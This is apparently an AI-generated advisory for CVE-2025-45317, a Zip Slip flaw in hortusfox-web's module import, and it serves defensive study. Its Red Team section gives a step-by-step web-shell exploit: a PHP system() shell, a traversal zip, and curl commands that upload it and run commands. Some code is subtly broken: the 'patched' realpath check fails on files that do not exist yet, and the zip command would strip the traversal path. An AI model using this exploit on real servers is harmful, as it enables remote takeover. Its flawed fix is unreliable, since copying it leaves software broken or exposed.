CVE-2025-45317

Executive Summary

CVE-2025-45317 is a critical Zip Slip vulnerability (CWE-22) identified in the hortusfox-web application, specifically within the /modules/ImportModule.php component. This vulnerability allows an unauthenticated attacker to achieve arbitrary file write and, consequently, remote code execution (RCE) by uploading a specially crafted archive file. The flaw exists because the application fails to properly sanitize file paths extracted from archive entries, enabling path traversal outside the intended extraction directory. Given the lack of a confirmed patch and a public proof-of-concept, this vulnerability poses a severe risk to all instances running version v4.4.

Supply Chain & Package Security

This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the hortusfox-web application. The risk is amplified by the absence of a vendor patch, meaning all deployments of v4.4 are vulnerable until a fix is applied or the component is disabled.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the target.
• Confidentiality (C): High (H) – Can read arbitrary files.
• Integrity (I): High (H) – Can write arbitrary files.
• Availability (A): High (H) – Can overwrite critical files.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitability, no authentication, and the potential for full system compromise makes this a top-priority vulnerability.

Deep Dive & Mechanics

The vulnerability resides in the ImportModule.php file, which handles the import of module archives (likely ZIP files). The core issue is a classic Zip Slip attack. When the application extracts an archive, it uses the file name from the archive entry without validating that the resolved path remains within the intended extraction directory.

Attack Flow:

1. An attacker crafts a malicious ZIP archive containing a file with a path traversal sequence in its name, e.g., ../../../../var/www/html/shell.php.
2. The attacker uploads this archive to the /modules/ImportModule.php endpoint.
3. The application extracts the archive, and for each entry, it concatenates the destination directory with the entry's file name.
4. Due to the lack of sanitization, the path ../../../../var/www/html/shell.php resolves to a location outside the intended extraction directory.
5. The attacker's file (e.g., a PHP web shell) is written to the target directory, allowing remote code execution.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: No path validation
$zip = new ZipArchive();
$zip->open($uploadedFile);
for ($i = 0; $i < $zip->numFiles; $i++) {
    $filename = $zip->getNameIndex($i);
    $destPath = $extractDir . '/' . $filename;
    copy($zip->getStream($filename), $destPath);
}
$zip->close();

Patched Code (Conceptual):

// Patched: Validate and sanitize path
$zip = new ZipArchive();
$zip->open($uploadedFile);
for ($i = 0; $i < $zip->numFiles; $i++) {
    $filename = $zip->getNameIndex($i);
    // Resolve and validate the path
    $realDest = realpath($extractDir . '/' . $filename);
    $realBase = realpath($extractDir);
    if (strpos($realDest, $realBase) !== 0) {
        // Path traversal detected, skip or abort
        continue;
    }
    $destPath = $extractDir . '/' . basename($filename);
    copy($zip->getStream($filename), $destPath);
}
$zip->close();

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of hortusfox-web v4.4 (e.g., using Docker or a local web server).
2. Ensure the /modules/ImportModule.php endpoint is accessible.

Exploitation Steps:

1. Create a malicious ZIP archive containing a PHP web shell with a path traversal name:

   # Create a PHP web shell
   echo '<?php system($_GET["cmd"]); ?>' > shell.php
   # Create a ZIP with a path traversal entry
   zip -r exploit.zip ../../../../var/www/html/shell.php
   

2. Upload the archive to the vulnerable endpoint:

   curl -F "file=@exploit.zip" http://target.com/modules/ImportModule.php
   

3. Access the uploaded web shell:

   curl http://target.com/shell.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defensive)

Detection Steps:

1. Monitor for file uploads to /modules/ImportModule.php with archive file types (ZIP, TAR, etc.).
2. Inspect archive contents for path traversal sequences (../, ..\\).
3. Check for unexpected file creation in sensitive directories (e.g., web root, /tmp, /etc).

Hunting Queries:

• Web Server Logs: Look for POST requests to /modules/ImportModule.php with large payloads.
• File System Monitoring: Alert on file creation in directories outside the intended extraction path.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /modules/ImportModule.php with Content-Type: multipart/form-data.
  • Outbound connections from the web server to unknown IPs (if shell is used for exfiltration).
• File System:
  • Unexpected files in the web root (e.g., shell.php, cmd.php).
  • Files with path traversal patterns in their names within archive uploads.
• Process:
  • Unusual PHP processes executing system commands (e.g., id, whoami).

Detection Engineering

YARA Rule

rule ZipSlip_Hortusfox_CVE_2025_45317 {
    meta:
        description = "Detects Zip Slip attempts targeting hortusfox-web ImportModule"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-45317"
    strings:
        $path_traversal = /\.\.\/|\.\.\\/
        $php_shell = "<?php"
        $zip_magic = { 50 4B 03 04 } // ZIP local file header
    condition:
        $zip_magic at 0 and $path_traversal and $php_shell
}

Sigma Rule

title: Zip Slip Exploitation Attempt on hortusfox-web
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-45317 via path traversal in archive uploads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/modules/ImportModule.php'
        cs-content-type: 'multipart/form-data'
    condition: selection
falsepositives:
    - Legitimate module uploads without path traversal
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-45317 Zip Slip Attempt on hortusfox-web"; flow:to_server,established; content:"POST"; http_method; content:"/modules/ImportModule.php"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/\.\.\//Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable component: If possible, remove or disable the /modules/ImportModule.php endpoint until a patch is available.
2. Web Application Firewall (WAF): Deploy WAF rules to block uploads containing path traversal sequences in file names.
3. Input Validation: Implement server-side validation to reject archives with entries containing ../ or ..\\.

Long-Term Fix:

1. Apply Vendor Patch: Monitor the hortusfox-web repository for an official patch and apply it immediately.
2. Code Review: Conduct a thorough code review of all file extraction routines to ensure proper path sanitization.
3. Use Safe Libraries: Replace custom extraction logic with secure libraries that automatically prevent path traversal (e.g., ZipArchive::extractTo with proper validation).

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.